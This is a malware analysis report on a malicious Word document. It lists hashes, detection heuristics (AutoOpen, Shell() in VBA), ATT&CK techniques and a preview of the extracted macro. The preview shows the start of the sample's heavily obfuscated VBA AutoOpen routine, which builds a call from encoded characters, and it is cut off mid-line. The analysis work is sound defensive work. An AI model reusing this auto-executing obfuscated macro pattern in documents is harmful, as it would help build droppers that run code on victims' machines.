Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5a539a32748c7b8c…

MALICIOUS

Office (OLE)

131.6 KB Created: 2018-09-28 21:57:00 Authoring application: Microsoft Office Word First seen: 2019-06-27
MD5: bdde5119b24a5b09fd9a9714a4ec3019 SHA-1: a6bc74b5ab761aab892f367cbdd429c0275a97b4 SHA-256: 5a539a32748c7b8c5dfec4b86649ee8bbdfd4995ca3fd09f4936a24b215b7324
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The AutoOpen macro is present and utilizes the Shell() function, indicating an attempt to execute arbitrary commands. This is a common technique for downloading and executing further malicious payloads. No specific family could be identified from the available evidence.

Heuristics 6

  • ClamAV: Doc.Malware.00536d-6700785-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6700785-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 72271 bytes
SHA-256: c71932b01a52dfcf26cbfb07e1786c40bafb2002be9a6190b17059dcadb72364
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "AqpwqqwfKziLIf"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   Dim jKfvZ(1)
jKfvZ(0) = InStrRev(YJsIKD + NFkPFkaPXjfjXPpHFHP + PEWunpYG, tBuWW + kPYpdBiVtVwsuozBOZma + zZcddtS) + InStrRev(WznFlRUQ + DKnwvHFWTnzpZMZAszC + qwHjNktI, wSMdhWY + GFYKOsHEPawAnnFzIkZidL + RjrdUcEQ)
   Dim nsrGj(1)
nsrGj(0) = InStrRev(uhviYXjW + NjavzlpUDlFUvXJHiCEblj + PtLHHRN, TWoHtQL + oNzHiaPXMJEpDiwJvi + EmZQV) + InStr(lthivQh + bhstBhiLSDKUCAHuVFTF + aQXKQFW, hOmuFWH + CwaRrBvJmmJIHaRHTvN + mUkqFCY)
   Dim KGjvmF(2)
KGjvmF(0) = InStrRev(sjVYZBq + MdTPzkpzUvCzZclSZuX + qXWilV, LwNuSi + HGmlujbkwwPYsivYZNuD + ZqAuq) + InStrRev(XwSnlcdG + tmYvwTSYWFoIMDItuhtrw + ZqDnSRz, QFNcW + MksjnFdzINhMAEVtbVqD + oLmCPrWL) + InStrRev(HFHoTGa + EPHAVJHdHzVjwuzajQqV + nUwhZU, tjbhL + GktDMLAOpZJAEtHhhKM + nETmW) + InStrRev(ifCcjz + HMUhrAKuzVhaijNtQHsoiwYq + cOQbTZUq, DcJVnAk + vpiWGjPYpkhzUkE + EOWOa)
KGjvmF(1) = InStr(zWAdMhmh + rKanJwBvtvMADwzhSUwTM + YLXlWzpa, fUvSVSLt + VzhhwmAavqNEQYpWvXZJBz + OzBlZ) + InStrRev(Xbdqmkwz + DRQfujvhzNwnjhmsYKRuG + LhqmwXZM, wYURGDC + bozICBMcnlXJUNqkBpXa + mKRaSGOY) + InStrRev(INZokj + YMKplXwsSUuENQrvjJ + wmVoGo, RZZBVowY + auwEcMvQXtojnsoPiqDK + UiLtU) + InStrRev(ACimau + tIYiGqmJjcuIXjdBHikE + aojFG, sGpiif + isCNsZKPLCztCaJajnJhDS + BWFsE)
   Dim dqhrDf(2)
dqhrDf(0) = InStrRev(RtDQY + jiBFjmUwuhWITzjSY + MZuQnsn, mMVqb + knJfjwWIiHaGjzERcKQ + XzsvKma) + InStrRev(wwfPErQ + HEkNtSjYlJNoTohEawVIZz + ZCsNBZY, rJGZOPOo + JcrhvIbomwKfHsfYIn + tpwdi)
dqhrDf(1) = InStrRev(GTAhzKi + EpwjVwjtuHXjQQRzrzihPF + KioVYXi, pjpvJF + FLWDkFEkdzaHiioKfYizB + mMbCirVz) + InStrRev(KZackcnu + LGCAamvdWMUHmRiuIEJYj + whvwvETC, Kacvwrl + pSnJtKFZpChSWiqPbHAEBn + GwLMYlBo) + InStrRev(XClpE + jwrDzjJWMamWMTzA + dwRiChp, lDHsSoo + tcCBYzOWBpRqkFBaVvY + saXiVTh) + InStr(qHlabXq + KoqLvzbInORNVJwDRsC + lAvuJd, mHNFnjf + NGtJOmBBSZmRUYauD + jKdiGHil)
   Dim qKGZn(2)
qKGZn(0) = InStr(LucbjpQ + ZKGhRTqbMbpWHFHoCsT + EFpvqN, QuwZp + WTUzaOnpWBchbhpkcLdvvN + YbJjka) + InStrRev(jYVwHR + ZoktjFroEBotkpwONc + CZJwRk, LvaWHdr + WSsfYTYLlIICCaiXalnGCc + TBRGwSZr) + InStrRev(ldGlmSzd + sznkvFDiLqDEJhiKpd + llENpw, YIhAU + LbNVIwHvfjdkVTjiCwrJQ + ERuAZk) + InStrRev(SicHDRdE + IVklFiDmLjUSwuqmuFvhl + BXdQZti, jcTMQ + wkQwQrIXmROdziUcjrVm + rojSbiV)
qKGZn(1) = InStrRev(zwUEUVfV + cTzuvdkoROcwaMZpwIvR + riiAGA, zMStulp + hflUwtsiUfwdjBUwFrhR + wNtjw) + InStrRev(FVNmr + kmFbfqfVRYOhqlvtUzjwO + frISPclK, lFlBUc + HisJTZNzatEnqKnNNCwd + SKucszW) + InStrRev(HzDWYi + iLRJiuLBjPUZKFVhTwEaWG + ujoPiIL, FSoPia + HdwwuiYSmtakuDRUBRk + tnPOMA) + InStrRev(CHPcUm + zrMVRrhLaDRGBBiDGSaL + YXdfb, QVBaYq + FEAmzPAGtKlfZfuTtTD + jiBkzaza)
   Dim AOaZU(2)
AOaZU(0) = InStrRev(WXmQI + pcviWCCYMFSRivkwisRz + kkwjtX, iuXfTDkR + NTCRiVsqKGdYdqEmWipid + iAbjORu) + InStrRev(lXSGanD + iAVtoOSicMYlurrOzwo + rEhTLMia, vnOkLN + nSONzzoMvoqRtQYjzGStlZ + qfGjBlA)
AOaZU(1) = InStrRev(jiFifz + mHDCWpijQpUYdnzjcPnF + zoXiwSHp, RNaUpYFU + jsFqXhTAXzKWBLzizi + iVUwcq) + InStrRev(SlFLH + HnlnpjzaQwoNHdBabUC + dwNjQ, ORiqvMuq + FujiBqCObJhILEKsVSzsQ + iRrJiK) + InStr(PIjZbGKA + phJTlfjwNMGviHkpF + qMwwoHim, zmbBNP + izMiiITizwZNqrzWpiY + CuIPo) + InStrRev(rFVatm + nqUdlnlBYkKQlGzAcoAq + jGUpVTD, jwNvPY + GqDjAzOkvljpnzEjQRfEjf + sXKhc)
EDapiXjpRIifk (KeyString(DSMJZo + wjoYZm + 6 + 10 + 51 + iFzbKoPq + wKpHOY) + YJuRsSKZ + wOvzhSXS + KeyString(DODVdCq + pVPYfNz + 7 + 11 + 59 + MjRkXS + bBcXjv) + oQLsQzbKWQ + HkrXXqiJ + ABGfqnZp + zcBfHGFB + vivwYC)
   Dim oBUuj(1)
oBUuj(0) = InStrRev(XShJHK + juazwkOWsfVjBkGFZVnqf + irYUcrc, jbYofa + CBifWhaaFodtDubVzFPosC + fKfZz) + InStr(oipvHJwu + oDXjhwTDhomMpjvPIfon + QlZwMw, CDwMUwN + vIEBRRVdCiAQXQQ + bqidLKlf)
   Dim AWbmWD(1)
AWbmWD(0) = InStrRev(WNJNJYou + rYYJLjOjROtwjKiRNG + SksrKJW, wMLmT + zFHTmdOBrZOJGtzGYSm + NbNum) + InStrRev(PTTUIwd + HiqTjIjYFRpNSiCGLO + EHJvqHi, JPRowD + voijfCAaKZwX
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.